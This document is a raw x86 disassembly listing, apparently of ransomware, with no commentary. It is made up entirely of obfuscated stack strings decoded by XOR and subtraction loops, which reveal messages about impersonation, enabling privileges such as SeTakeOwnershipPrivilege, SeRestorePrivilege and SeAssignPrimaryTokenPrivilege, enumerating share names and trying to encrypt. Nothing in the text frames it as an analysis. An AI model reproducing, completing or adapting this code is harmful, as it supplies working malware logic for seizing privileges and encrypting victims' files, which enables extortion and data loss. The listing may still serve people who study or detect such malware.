mov dword [ebp - 0x6f8], edi
mov edi, 0x2c
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0xf1c], 0
mov ecx, dword [ebp - 0xf8c]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xf90]
mov esi, dword [ebp - 0xf1c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp esi, eax
jae 0x42e70e
push 1
xor eax, eax
mov dword [ebp - 0x998], 0
push 0x4b99f0
lea ecx, [ebp - 0x998]
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x988], 0
mov dword [ebp - 0x984], 7
mov word [ebp - 0x998], ax
call fcn.0041ea60
mov eax, dword [ebp - 0xf90]
lea esi, [esi + esi*2]
shl esi, 3
lea ecx, [ebp - 0x998]
add eax, esi
mov byte [ebp - 4], 0x39
push ecx
push eax
lea eax, [ebp - 0xf28]
mov dword [ebp - 0xf08], esi
push eax
call fcn.0046ff10
add esp, 0xc
lea ecx, [ebp - 0x998]
mov byte [ebp - 4], 0x3b
call fcn.00418bf0
mov ecx, dword [ebp - 0xf24]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xf28]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 2
je 0x42c564
add esi, dword [ebp - 0xf90]
mov eax, 0x63
mov word [ebp - 0x7b8], ax
mov ecx, 0x7e
mov word [ebp - 0x7b6], cx
mov eax, 0x7b
mov word [ebp - 0x7b4], ax
mov edx, 0x7a
mov word [ebp - 0x7b2], dx
mov dword [ebp - 0xf08], esi
mov esi, 0x73
mov word [ebp - 0x7b0], si
mov esi, 0x78
mov word [ebp - 0x7ae], di
mov word [ebp - 0x7ac], si
mov esi, 0x73
mov word [ebp - 0x7aa], ax
mov word [ebp - 0x7a8], si
mov esi, 0x75
mov word [ebp - 0x7a6], si
mov word [ebp - 0x7a4], dx
mov edx, 0x72
mov word [ebp - 0x7a2], di
mov word [ebp - 0x7a0], dx
mov edx, 0x6f
mov word [ebp - 0x79e], ax
mov eax, 0x79
mov word [ebp - 0x79c], cx
mov ecx, 0x80
mov word [ebp - 0x79a], ax
mov eax, 0x6d
mov word [ebp - 0x798], ax
mov eax, 0x38
mov word [ebp - 0x796], cx
mov word [ebp - 0x794], ax
mov eax, 0x74
mov word [ebp - 0x792], di
mov word [ebp - 0x790], dx
mov word [ebp - 0x78e], ax
mov eax, 0x71
mov word [ebp - 0x78c], ax
mov eax, 0x77
mov word [ebp - 0x78a], dx
mov word [ebp - 0x788], ax
mov eax, 0x74
mov word [ebp - 0x786], di
mov word [ebp - 0x784], cx
mov word [ebp - 0x782], ax
mov eax, 0x7f
mov word [ebp - 0x780], si
mov esi, dword [ebp - 0xf08]
mov word [ebp - 0x77e], ax
mov eax, 0x46
mov word [ebp - 0x77c], ax
xor eax, eax
mov word [ebp - 0x77a], ax
xor ecx, ecx
mov ax, word [ebp - 0x7b8]
nop
mov ax, word [ebp + ecx*2 - 0x7b8]
sub ax, 0xc
mov word [ebp + ecx*2 - 0x7b8], ax
inc ecx
cmp ecx, 0x1f
jb 0x42c490
lea eax, [ebp - 0x7b8]
mov dword [ebp - 0x11a0], 0x4b99bc
mov dword [ebp - 0x1094], eax
mov dword [ebp - 0x119c], 7
call fcn.00425d60
push esi
lea ecx, [ebp - 0x1094]
push ecx
mov ecx, dword [eax + 0x114]
push 7
push 0x4b99bc
push 4
call fcn.00409ca0
mov eax, dword [ebp - 0xf28]
test eax, eax
je 0x42e703
lea ecx, [ebp - 0xf28]
push ecx
push dword [ebp - 0xf24]
push eax
call fcn.00401f00
mov ecx, dword [ebp - 0xf20]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0xf28]
add esp, 0xc
sub ecx, esi
imul ecx
lea ecx, [ebp - 0xf28]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push esi
call fcn.0041f8a0
inc dword [ebp - 0xf1c]
mov dword [ebp - 0xf28], 0
mov dword [ebp - 0xf24], 0
mov dword [ebp - 0xf20], 0
jmp 0x42c262
mov dword [ebp - 0x728], 0x594e
mov eax, 0x593a
mov word [ebp - 0x724], ax
mov eax, 0x5921
mov word [ebp - 0x722], ax
mov eax, 0x596e
mov word [ebp - 0x720], ax
mov eax, 0x5923
mov word [ebp - 0x71e], ax
mov eax, 0x592f
mov word [ebp - 0x71c], ax
mov eax, 0x592d
mov word [ebp - 0x71a], ax
mov eax, 0x5926
mov word [ebp - 0x718], ax
mov eax, 0x5927
mov word [ebp - 0x716], ax
mov eax, 0x5920
mov word [ebp - 0x714], ax
mov eax, 0x592b
mov word [ebp - 0x712], ax
mov eax, 0x5974
mov word [ebp - 0x710], ax
xor eax, eax
mov word [ebp - 0x70e], ax
xor edx, edx
mov ax, word [ebp - 0x724]
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [ebp + edx*2 - 0x724]
mov ecx, dword [ebp - 0x728]
xor ecx, eax
mov word [ebp + edx*2 - 0x724], cx
inc edx
cmp edx, 0xb
jb 0x42c610
mov edi, dword [ebp - 0xf28]
xor eax, eax
mov word [ebp - 0x70e], ax
mov ecx, 0x80
lea eax, [ebp - 0x724]
mov dword [ebp - 0xf58], edi
mov dword [ebp - 0x1090], eax
mov edx, 0x7d
mov eax, dword [ebp - 0xfe8]
mov edi, 0x82
add eax, esi
mov esi, 0x29
mov dword [ebp - 0xf04], eax
mov eax, 0x60
mov word [ebp - 0x8f0], ax
mov eax, 0x6e
mov word [ebp - 0x8ee], ax
mov eax, 0x72
mov word [ebp - 0x8ec], si
mov word [ebp - 0x8ea], cx
mov word [ebp - 0x8e8], ax
mov eax, 0x75
mov word [ebp - 0x8e6], ax
mov word [ebp - 0x8e4], ax
mov eax, 0x7b
mov word [ebp - 0x8e2], si
mov word [ebp - 0x8e0], dx
mov word [ebp - 0x8de], ax
mov word [ebp - 0x8dc], di
mov word [ebp - 0x8da], si
mov word [ebp - 0x8d8], dx
mov edx, 0x78
mov word [ebp - 0x8d6], dx
mov word [ebp - 0x8d4], si
mov esi, 0x6c
mov word [ebp - 0x8d2], si
mov word [ebp - 0x8d0], dx
mov edx, 0x77
mov word [ebp - 0x8ce], dx
mov word [ebp - 0x8cc], dx
mov edx, 0x6e
mov word [ebp - 0x8ca], dx
mov edx, esi
mov word [ebp - 0x8c8], dx
mov esi, 0x29
mov edx, 0x7d
mov word [ebp - 0x8c6], dx
mov edx, 0x72
mov word [ebp - 0x8c4], si
mov word [ebp - 0x8c2], cx
mov ecx, 0x7d
mov word [ebp - 0x8c0], dx
mov word [ebp - 0x8be], cx
mov ecx, 0x71
mov word [ebp - 0x8bc], cx
mov ecx, 0x7c
mov word [ebp - 0x8ba], si
mov word [ebp - 0x8b8], cx
mov ecx, 0x79
mov word [ebp - 0x8b6], cx
mov ecx, 0x6e
mov word [ebp - 0x8b4], cx
mov ecx, 0x6c
mov word [ebp - 0x8b2], cx
mov ecx, 0x6f
mov word [ebp - 0x8b0], dx
mov word [ebp - 0x8ae], cx
mov ecx, 0x6c
mov word [ebp - 0x8ac], dx
mov word [ebp - 0x8aa], cx
mov word [ebp - 0x8a8], si
mov word [ebp - 0x8a6], cx
mov word [ebp - 0x8a4], ax
mov eax, 0x6e
mov word [ebp - 0x8a2], ax
mov eax, 0x6d
mov word [ebp - 0x8a0], ax
mov eax, 0x7c
mov word [ebp - 0x89e], ax
mov eax, 0x43
mov word [ebp - 0x89c], ax
mov esi, dword [ebp - 0xf08]
xor eax, eax
mov edi, dword [ebp - 0xf58]
xor ecx, ecx
mov word [ebp - 0x89a], ax
mov ax, word [ebp - 0x8f0]
nop word [eax + eax]
mov ax, word [ebp + ecx*2 - 0x8f0]
sub ax, 9
mov word [ebp + ecx*2 - 0x8f0], ax
inc ecx
cmp ecx, 0x2b
jb 0x42c840
lea eax, [ebp - 0x8f0]
mov dword [ebp - 0x11a8], 0x4b99f4
mov dword [ebp - 0x108c], eax
mov dword [ebp - 0x11a4], 0x19
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x1108], 0
lea eax, [ebp - 0x70c]
mov dword [ebp - 0x1104], 0
push eax
movq xmm0, qword [ebp - 0x1108]
lea eax, [ebp - 0x1090]
push eax
push dword [ebp - 0xf04]
mov ecx, dword [ecx + 0x114]
lea eax, [edi + 0x18]
push eax
push edi
lea eax, [ebp - 0x108c]
xor edx, edx
push eax
push 0x19
push 0x4b99f4
push 2
sub esp, 0xc
mov dword [ebp - 0x1100], edx
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.0040b3a0
mov edx, dword [ebp - 0xfe8]
mov eax, dword [ebp - 0xf28]
add edx, esi
push edx
push eax
mov byte [ebp - 4], 0x3c
lea ecx, [eax + 0x18]
push ecx
lea ecx, [ebp - 0x11c8]
call fcn.00450f00
mov dword [ebp - 0x5a8], 0x30
mov byte [ebp - 0x5a4], 0x7e
mov byte [ebp - 0x5a3], 0x5f
mov byte [ebp - 0x5a2], 0x47
mov byte [ebp - 0x5a1], 0x10
mov byte [ebp - 0x5a0], 0x5c
mov byte [ebp - 0x59f], 0x55
mov byte [ebp - 0x59e], 0x44
mov byte [ebp - 0x59d], 0x17
mov byte [ebp - 0x59c], 0x43
mov byte [ebp - 0x59b], 0x10
mov byte [ebp - 0x59a], 0x44
mov byte [ebp - 0x599], 0x42
mov byte [ebp - 0x598], 0x49
mov byte [ebp - 0x597], 0x10
mov byte [ebp - 0x596], 0x44
mov byte [ebp - 0x595], 0x5f
mov byte [ebp - 0x594], 0x10
mov byte [ebp - 0x593], 0x55
mov byte [ebp - 0x592], 0x5e
mov byte [ebp - 0x591], 0x51
mov byte [ebp - 0x590], 0x52
mov byte [ebp - 0x58f], 0x5c
mov byte [ebp - 0x58e], 0x55
mov byte [ebp - 0x58d], 0x10
mov byte [ebp - 0x58c], 0x43
mov byte [ebp - 0x58b], 0x5f
mov byte [ebp - 0x58a], 0x5d
mov byte [ebp - 0x589], 0x55
mov byte [ebp - 0x588], 0x10
mov byte [ebp - 0x587], 0x46
mov byte [ebp - 0x586], 0x59
mov byte [ebp - 0x585], 0x44
mov byte [ebp - 0x584], 0x51
mov byte [ebp - 0x583], 0x5c
mov byte [ebp - 0x582], 0x10
mov byte [ebp - 0x581], 0x40
mov byte [ebp - 0x580], 0x42
mov byte [ebp - 4], 0x3d
mov byte [ebp - 0x57f], 0x59
mov byte [ebp - 0x57e], 0x46
xor edx, edx
mov byte [ebp - 0x57d], 0x59
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0x55
mov byte [ebp - 0x57a], 0x57
mov byte [ebp - 0x579], 0x55
mov byte [ebp - 0x578], 0x43
mov byte [ebp - 0x577], 0x10
mov byte [ebp - 0x576], 0x51
mov byte [ebp - 0x575], 0x56
mov byte [ebp - 0x574], 0x44
mov byte [ebp - 0x573], 0x55
mov byte [ebp - 0x572], 0x42
mov byte [ebp - 0x571], 0x10
mov byte [ebp - 0x570], 0x59
mov byte [ebp - 0x56f], 0x5d
mov byte [ebp - 0x56e], 0x40
mov byte [ebp - 0x56d], 0x55
mov byte [ebp - 0x56c], 0x42
mov byte [ebp - 0x56b], 0x43
mov byte [ebp - 0x56a], 0x5f
mov byte [ebp - 0x569], 0x5e
mov byte [ebp - 0x568], 0x51
mov byte [ebp - 0x567], 0x44
mov byte [ebp - 0x566], 0x59
mov byte [ebp - 0x565], 0x5f
mov byte [ebp - 0x564], 0x5e
mov al, byte [ebp - 0x5a4]
mov byte [ebp - 0x563], 0
nop dword [eax]
mov al, byte [ebp + edx - 0x5a4]
mov ecx, dword [ebp - 0x5a8]
xor cl, al
mov byte [ebp + edx - 0x5a4], cl
inc edx
cmp edx, 0x41
jb 0x42caf0
lea eax, [ebp - 0x5a4]
mov byte [ebp - 0x563], 0
mov dword [ebp - 0x1088], eax
mov dword [ebp - 0x11b8], 0x4b99d4
mov dword [ebp - 0x11b4], 3
call fcn.00425d60
lea ecx, [ebp - 0x1088]
push ecx
push 3
mov ecx, dword [eax + 0x114]
push 0x4b99d4
push 2
call fcn.00409b70
mov dword [ebp - 0x3fc], 0x39
xor edx, edx
mov byte [ebp - 0x3f8], 0x6a
mov byte [ebp - 0x3f7], 0x5c
mov byte [ebp - 0x3f6], 0x78
mov byte [ebp - 0x3f5], 0x4a
mov byte [ebp - 0x3f4], 0x4a
mov byte [ebp - 0x3f3], 0x50
mov byte [ebp - 0x3f2], 0x5e
mov byte [ebp - 0x3f1], 0x57
mov byte [ebp - 0x3f0], 0x69
mov byte [ebp - 0x3ef], 0x4b
mov byte [ebp - 0x3ee], 0x50
mov byte [ebp - 0x3ed], 0x54
mov byte [ebp - 0x3ec], 0x58
mov byte [ebp - 0x3eb], 0x4b
mov byte [ebp - 0x3ea], 0x40
mov byte [ebp - 0x3e9], 0x6d
mov byte [ebp - 0x3e8], 0x56
mov byte [ebp - 0x3e7], 0x52
mov byte [ebp - 0x3e6], 0x5c
mov byte [ebp - 0x3e5], 0x57
mov byte [ebp - 0x3e4], 0x69
mov byte [ebp - 0x3e3], 0x4b
mov byte [ebp - 0x3e2], 0x50
mov byte [ebp - 0x3e1], 0x4f
mov byte [ebp - 0x3e0], 0x50
mov byte [ebp - 0x3df], 0x55
mov byte [ebp - 0x3de], 0x5c
mov byte [ebp - 0x3dd], 0x5e
mov byte [ebp - 0x3dc], 0x5c
mov al, byte [ebp - 0x3f8]
mov byte [ebp - 4], 0x3e
mov byte [ebp - 0x3db], 0
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x3f8]
mov ecx, dword [ebp - 0x3fc]
xor cl, al
mov byte [ebp + edx - 0x3f8], cl
inc edx
cmp edx, 0x1d
jb 0x42cc40
lea ecx, [ebp - 0x3f8]
mov dword [ebp - 0x9b0], 0
mov byte [ebp - 0x3db], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x9a0], 0
mov dword [ebp - 0x99c], 0xf
mov byte [ebp - 0x9b0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42cc91
sub ecx, edx
lea eax, [ebp - 0x3f8]
push ecx
push eax
lea ecx, [ebp - 0x9b0]
call fcn.0041e970
lea eax, [ebp - 0x9b0]
mov byte [ebp - 4], 0x3f
push eax
call fcn.00471a60
add esp, 4
lea ecx, [ebp - 0x9b0]
call fcn.00418ba0
jmp 0x42ce8c
mov byte [ebp - 0x1e4], 0x5c
mov edi, 0x2c
mov byte [ebp - 0x1e3], 0x6e
xor ecx, ecx
mov byte [ebp - 0x1e2], 0x5b
mov byte [ebp - 0x1e1], 0x6e
mov byte [ebp - 0x1e0], 0x7c
lea esi, [edi + 0x4f]
mov byte [ebp - 0x1df], 0x7d
mov byte [ebp - 0x1de], 0x78
mov byte [ebp - 0x1dd], 0x7b
mov byte [ebp - 0x1dc], 0x6e
mov byte [ebp - 0x1db], 0x59
mov byte [ebp - 0x1da], 0x7b
mov byte [ebp - 0x1d9], 0x72
mov byte [ebp - 0x1d8], 0x7f
mov byte [ebp - 0x1d7], 0x72
mov byte [ebp - 0x1d6], 0x75
mov byte [ebp - 0x1d5], 0x6e
mov byte [ebp - 0x1d4], 0x70
mov byte [ebp - 0x1d3], 0x6e
mov dword [ebp - 4], 0x3d
mov byte [ebp - 0x1d2], 0
mov al, byte [ebp - 0x1e4]
mov byte [ebp - 4], 0x41
nop dword [eax]
mov al, byte [ebp + ecx - 0x1e4]
sub al, 9
mov byte [ebp + ecx - 0x1e4], al
inc ecx
cmp ecx, 0x12
jb 0x42cf30
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x9c8], 0
mov dword [ebp - 0x9b8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x9b4], 0xf
mov byte [ebp - 0x9c8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42cf74
sub ecx, edx
lea eax, [ebp - 0x1e4]
push ecx
push eax
lea ecx, [ebp - 0x9c8]
call fcn.0041e970
lea eax, [ebp - 0x9c8]
mov byte [ebp - 4], 0x42
push eax
call fcn.00471a60
add esp, 4
lea ecx, [ebp - 0x9c8]
call fcn.00418ba0
jmp 0x42d134
mov dword [ebp - 0x4c4], 0x77
xor edx, edx
mov byte [ebp - 0x4c0], 0x24
mov byte [ebp - 0x4bf], 0x12
mov byte [ebp - 0x4be], 0x23
mov byte [ebp - 0x4bd], 0x16
mov byte [ebp - 0x4bc], 0x1c
mov byte [ebp - 0x4bb], 0x12
mov byte [ebp - 0x4ba], 0x38
mov byte [ebp - 0x4b9], 0
mov byte [ebp - 0x4b8], 0x19
mov byte [ebp - 0x4b7], 0x12
mov byte [ebp - 0x4b6], 5
mov byte [ebp - 0x4b5], 4
mov byte [ebp - 0x4b4], 0x1f
mov byte [ebp - 0x4b3], 0x1e
mov byte [ebp - 0x4b2], 7
mov byte [ebp - 0x4b1], 0x27
mov byte [ebp - 0x4b0], 5
mov byte [ebp - 0x4af], 0x1e
mov byte [ebp - 0x4ae], 1
mov byte [ebp - 0x4ad], 0x1e
mov byte [ebp - 0x4ac], 0x1b
mov byte [ebp - 0x4ab], 0x12
mov byte [ebp - 0x4aa], 0x10
mov dword [ebp - 4], 0x3d
mov byte [ebp - 0x4a9], 0x12
mov al, byte [ebp - 0x4c0]
mov byte [ebp - 4], 0x44
mov byte [ebp - 0x4a8], 0
mov al, byte [ebp + edx - 0x4c0]
mov ecx, dword [ebp - 0x4c4]
xor cl, al
mov byte [ebp + edx - 0x4c0], cl
inc edx
cmp edx, 0x18
jb 0x42d200
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x980], 0
mov byte [ebp - 0x4a8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x970], 0
mov dword [ebp - 0x96c], 0xf
mov byte [ebp - 0x980], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42d251
sub ecx, edx
lea eax, [ebp - 0x4c0]
push ecx
push eax
lea ecx, [ebp - 0x980]
call fcn.0041e970
lea eax, [ebp - 0x980]
mov byte [ebp - 4], 0x45
push eax
call fcn.00471a60
add esp, 4
lea ecx, [ebp - 0x980]
call fcn.00418ba0
lea ecx, [ebp - 0x11c8]
call fcn.00451240
jmp 0x42d882
mov eax, dword [ebp - 0xf1c]
mov ecx, dword [ebp - 0xfe8]
mov dword [ebp - 4], 0x3b
lea edx, [eax + eax*2]
mov eax, dword [ebp - 0xf90]
shl edx, 3
add ecx, edx
add eax, edx
push ecx
push eax
lea eax, [ebp - 0x70c]
push eax
lea ecx, [ebp - 0x1234]
call fcn.0044f230
test al, al
je 0x42e34d
mov esi, dword [ebp - 0xf0c]
lea eax, [ebp - 0x70c]
cmp esi, eax
je 0x42d8f4
cmp dword [ebp - 0x6f8], 8
mov ecx, esi
push dword [ebp - 0x6fc]
cmovae eax, dword [ebp - 0x70c]
push eax
mov byte [ebp - 0xf4d], 0
call fcn.0041ea60
mov dword [ebp - 0x560], 0x3818
mov eax, dword [ebp - 0x560]
xor eax, 0x77
mov word [ebp - 0x55c], ax
mov eax, dword [ebp - 0x560]
inc eax
xor eax, 0x61
mov word [ebp - 0x55a], ax
mov eax, dword [ebp - 0x560]
add eax, 2
xor eax, 0x73
mov word [ebp - 0x558], ax
mov eax, dword [ebp - 0x560]
add eax, 3
xor eax, 0x20
mov word [ebp - 0x556], ax
mov eax, dword [ebp - 0x560]
add eax, 4
xor eax, 0x73
mov word [ebp - 0x554], ax
mov eax, dword [ebp - 0x560]
add eax, 5
xor eax, 0x75
mov word [ebp - 0x552], ax
mov eax, dword [ebp - 0x560]
add eax, 6
xor eax, 0x63
mov word [ebp - 0x550], ax
mov eax, dword [ebp - 0x560]
add eax, 7
xor eax, 0x63
mov word [ebp - 0x54e], ax
mov eax, dword [ebp - 0x560]
add eax, 8
xor eax, 0x65
mov word [ebp - 0x54c], ax
mov eax, dword [ebp - 0x560]
add eax, 9
xor eax, 0x73
mov word [ebp - 0x54a], ax
mov eax, dword [ebp - 0x560]
add eax, 0xa
xor eax, 0x73
mov word [ebp - 0x548], ax
mov eax, dword [ebp - 0x560]
add eax, 0xb
xor eax, 0x66
mov word [ebp - 0x546], ax
mov eax, dword [ebp - 0x560]
add eax, 0xc
xor eax, 0x75
mov word [ebp - 0x544], ax
mov eax, dword [ebp - 0x560]
add eax, 0xd
xor eax, 0x6c
mov word [ebp - 0x542], ax
mov eax, dword [ebp - 0x560]
add eax, 0xe
xor eax, 0x2c
mov word [ebp - 0x540], ax
mov eax, dword [ebp - 0x560]
add eax, 0xf
xor eax, 0x20
mov word [ebp - 0x53e], ax
mov eax, dword [ebp - 0x560]
add eax, 0x10
xor eax, 0x6e
mov word [ebp - 0x53c], ax
mov eax, dword [ebp - 0x560]
add eax, 0x11
xor eax, 0x6f
mov word [ebp - 0x53a], ax
mov eax, dword [ebp - 0x560]
add eax, 0x12
xor eax, 0x77
mov word [ebp - 0x538], ax
mov eax, dword [ebp - 0x560]
add eax, 0x13
xor eax, 0x20
mov word [ebp - 0x536], ax
mov eax, dword [ebp - 0x560]
add eax, 0x14
xor eax, 0x74
mov word [ebp - 0x534], ax
mov eax, dword [ebp - 0x560]
add eax, 0x15
xor eax, 0x72
mov word [ebp - 0x532], ax
mov eax, dword [ebp - 0x560]
add eax, 0x16
xor eax, 0x79
mov word [ebp - 0x530], ax
mov eax, dword [ebp - 0x560]
add eax, 0x17
xor eax, 0x69
mov word [ebp - 0x52e], ax
mov eax, dword [ebp - 0x560]
add eax, 0x18
xor eax, 0x6e
mov word [ebp - 0x52c], ax
mov eax, dword [ebp - 0x560]
add eax, 0x19
xor eax, 0x67
mov word [ebp - 0x52a], ax
mov eax, dword [ebp - 0x560]
add eax, 0x1a
xor eax, 0x20
mov word [ebp - 0x528], ax
mov eax, dword [ebp - 0x560]
add eax, 0x1b
xor eax, 0x74
mov word [ebp - 0x526], ax
mov eax, dword [ebp - 0x560]
add eax, 0x1c
xor eax, 0x6f
mov word [ebp - 0x524], ax
mov eax, dword [ebp - 0x560]
add eax, 0x1d
xor eax, 0x20
mov word [ebp - 0x522], ax
mov eax, dword [ebp - 0x560]
add eax, 0x1e
xor eax, 0x65
mov word [ebp - 0x520], ax
mov eax, dword [ebp - 0x560]
add eax, 0x1f
xor eax, 0x6e
mov word [ebp - 0x51e], ax
mov eax, dword [ebp - 0x560]
add eax, 0x20
xor eax, 0x63
mov word [ebp - 0x51c], ax
mov eax, dword [ebp - 0x560]
add eax, 0x21
xor eax, 0x72
mov word [ebp - 0x51a], ax
mov eax, dword [ebp - 0x560]
add eax, 0x22
xor eax, 0x79
mov word [ebp - 0x518], ax
mov eax, dword [ebp - 0x560]
add eax, 0x23
xor eax, 0x70
mov word [ebp - 0x516], ax
mov eax, dword [ebp - 0x560]
add eax, 0x24
xor eax, 0x74
mov word [ebp - 0x514], ax
xor eax, eax
mov word [ebp - 0x512], ax
xor edx, edx
mov ax, word [ebp - 0x55c]
nop word [eax + eax]
mov ax, word [ebp + edx*2 - 0x55c]
mov ecx, dword [ebp - 0x560]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x55c], cx
inc edx
cmp edx, 0x25
jb 0x42dbd0
xor eax, eax
mov ecx, 0x78eb
mov word [ebp - 0x512], ax
mov edx, 0x78e1
lea eax, [ebp - 0x55c]
mov edi, 0x78ed
mov dword [ebp - 0x1060], eax
mov eax, 0x78c7
mov dword [ebp - 0x748], 0x7884
mov word [ebp - 0x744], ax
mov eax, 0x78ea
mov word [ebp - 0x742], cx
mov word [ebp - 0x740], ax
mov word [ebp - 0x73e], ax
mov word [ebp - 0x73c], dx
mov edx, 0x78e7
mov word [ebp - 0x73a], dx
mov edx, 0x78f0
mov word [ebp - 0x738], dx
mov word [ebp - 0x736], di
mov word [ebp - 0x734], cx
mov word [ebp - 0x732], ax
mov eax, 0x78a4
mov word [ebp - 0x730], ax
xor eax, eax
mov word [ebp - 0x72e], dx
xor edx, edx
mov word [ebp - 0x72c], cx
mov word [ebp - 0x72a], ax
mov ax, word [ebp - 0x744]
nop word [eax + eax]
movzx eax, word [ebp + edx*2 - 0x744]
mov ecx, dword [ebp - 0x748]
xor ecx, eax
mov word [ebp + edx*2 - 0x744], cx
inc edx
cmp edx, 0xd
jb 0x42dcb0
xor eax, eax
lea ecx, [ebp - 0x10d0]
mov word [ebp - 0x72a], ax
lea eax, [ebp - 0x744]
push str.0_1_2
mov dword [ebp - 0x105c], eax
call fcn.00416d00
call fcn.00425d60
lea ecx, [ebp - 0x1060]
push ecx
lea ecx, [ebp - 0x70c]
push ecx
lea ecx, [ebp - 0x105c]
push ecx
push dword [ebp - 0x10cc]
mov ecx, dword [eax + 0x114]
push dword [ebp - 0x10d0]
push 2
call fcn.00409c50
mov dword [ebp - 0x778], 0
mov eax, esi
mov dword [ebp - 0x768], 0
mov dword [ebp - 0x764], 0
cmp dword [esi + 0x14], 8
mov edi, dword [esi + 0x10]
mov dword [ebp - 0xf08], esi
jb 0x42dd5d
mov eax, dword [esi]
mov dword [ebp - 0xf08], eax
cmp edi, 8
jae 0x42dd78
movups xmm0, xmmword [eax]
mov dword [ebp - 0x764], 7
movups xmmword [ebp - 0x778], xmm0
jmp 0x42ddbd
mov esi, edi
lea ecx, [ebp - 0x778]
or esi, 7
mov eax, SysReAllocString
cmp esi, 0x7ffffffe
cmova esi, eax
lea eax, [esi + 1]
push eax
call fcn.0041e630
lea ecx, [edi*2 + 2]
mov dword [ebp - 0x778], eax
push ecx
push dword [ebp - 0xf08]
push eax
call fcn.0048c760
add esp, 0xc
mov dword [ebp - 0x764], esi
mov dword [ebp - 0x768], edi
mov esi, 0x2a
mov byte [ebp - 4], 0x48
mov eax, 0x36
mov edx, 0x79
mov word [ebp - 0x898], ax
mov ecx, 0x81
mov word [ebp - 0x896], si
mov eax, 0x78
mov word [ebp - 0x894], ax
mov edi, 0x6f
mov word [ebp - 0x892], dx
mov word [ebp - 0x890], cx
mov word [ebp - 0x88e], si
mov word [ebp - 0x88c], cx
mov ecx, 0x6b
mov word [ebp - 0x88a], di
mov word [ebp - 0x888], si
mov word [ebp - 0x886], cx
mov ecx, 0x7c
mov word [ebp - 0x884], cx
mov ecx, 0x7e
mov word [ebp - 0x882], di
mov word [ebp - 0x880], si
mov esi, 0x7c
mov word [ebp - 0x87e], cx
mov word [ebp - 0x87c], si
mov esi, 0x83
mov word [ebp - 0x87a], si
mov esi, 0x73
mov word [ebp - 0x878], si
mov esi, 0x2a
mov word [ebp - 0x876], ax
mov eax, 0x71
mov word [ebp - 0x874], ax
mov eax, 0x77
mov word [ebp - 0x872], si
mov word [ebp - 0x870], cx
mov word [ebp - 0x86e], dx
mov word [ebp - 0x86c], si
mov word [ebp - 0x86a], ax
mov eax, 0x6e
mov word [ebp - 0x868], dx
mov edx, 0x72
mov word [ebp - 0x866], ax
mov eax, 0x73
mov word [ebp - 0x864], ax
mov eax, 0x70
mov word [ebp - 0x862], ax
mov eax, 0x83
mov word [ebp - 0x860], ax
mov eax, 0x7d
mov word [ebp - 0x85e], si
mov word [ebp - 0x85c], ax
mov eax, 0x6b
mov word [ebp - 0x85a], dx
mov word [ebp - 0x858], ax
mov eax, 0x7c
mov word [ebp - 0x856], ax
mov eax, 0x7a
mov word [ebp - 0x854], di
mov word [ebp - 0x852], si
mov word [ebp - 0x850], ax
mov eax, 0x6b
mov word [ebp - 0x84e], ax
xor eax, eax
mov word [ebp - 0x84c], cx
xor ecx, ecx
mov word [ebp - 0x84a], dx
mov word [ebp - 0x848], ax
mov ax, word [ebp - 0x898]
nop
mov ax, word [ebp + ecx*2 - 0x898]
sub ax, 0xa
mov word [ebp + ecx*2 - 0x898], ax
inc ecx
cmp ecx, 0x28
jb 0x42df70
lea eax, [ebp - 0x898]
mov dword [ebp - 0x1058], eax
mov dword [ebp - 0x5c4], 0x5862
mov eax, dword [ebp - 0x5c4]
xor eax, 0x53
mov word [ebp - 0x5c0], ax
mov eax, dword [ebp - 0x5c4]
inc eax
xor eax, 0x68
mov word [ebp - 0x5be], ax
mov eax, dword [ebp - 0x5c4]
add eax, 2
xor eax, 0x61
mov word [ebp - 0x5bc], ax
mov eax, dword [ebp - 0x5c4]
add eax, 3
xor eax, 0x72
mov word [ebp - 0x5ba], ax
mov eax, dword [ebp - 0x5c4]
add eax, 4
xor eax, 0x65
mov word [ebp - 0x5b8], ax
mov eax, dword [ebp - 0x5c4]
add eax, 5
xor eax, 0x20
mov word [ebp - 0x5b6], ax
mov eax, dword [ebp - 0x5c4]
add eax, 6
xor eax, 0x6e
mov word [ebp - 0x5b4], ax
mov eax, dword [ebp - 0x5c4]
add eax, 7
xor eax, 0x61
mov word [ebp - 0x5b2], ax
mov eax, dword [ebp - 0x5c4]
add eax, 8
xor eax, 0x6d
mov word [ebp - 0x5b0], ax
mov eax, dword [ebp - 0x5c4]
add eax, 9
xor eax, 0x65
mov word [ebp - 0x5ae], ax
xor eax, eax
mov word [ebp - 0x5ac], ax
mov ax, word [ebp - 0x5c0]
xor eax, eax
nop dword [eax + eax]
mov cx, word [ebp + eax*2 - 0x5c0]
mov edx, dword [ebp - 0x5c4]
add edx, eax
movzx ecx, cx
xor edx, ecx
mov word [ebp + eax*2 - 0x5c0], dx
inc eax
cmp eax, 0xa
jb 0x42e070
xor eax, eax
lea ecx, [ebp - 0x10d8]
mov word [ebp - 0x5ac], ax
lea eax, [ebp - 0x5c0]
push str.0_1_2
mov dword [ebp - 0x1054], eax
call fcn.00416d00
call fcn.00425d60
lea ecx, [ebp - 0x1058]
push ecx
lea ecx, [ebp - 0x778]
push ecx
lea ecx, [ebp - 0x1054]
push ecx
push dword [ebp - 0x10d4]
mov ecx, dword [eax + 0x114]
push dword [ebp - 0x10d8]
push 2
call fcn.00409c50
